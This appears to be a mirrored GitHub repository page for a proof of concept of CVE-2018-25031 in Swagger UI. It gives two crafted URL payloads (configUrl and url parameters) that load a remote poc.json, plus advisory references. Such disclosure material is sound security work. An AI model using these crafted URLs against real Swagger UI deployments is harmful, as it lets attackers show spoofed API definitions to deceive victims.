IkeMurami / CVE-2018-25031

.json and .yaml files used to exploit CVE-2018-25031

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2018-25031

Description:

Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.


Screenshot before attack:

PoC:

/index.html?configUrl=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json
/index.html?url=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json

PoC Screenshot after attack:

References:

https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://deps.dev/advisory/GHSA/GHSA-cr3q-pqgq-m8c2

Tested on Swagger UI 3.52.1

About

.json and .yaml files used to exploit CVE-2018-25031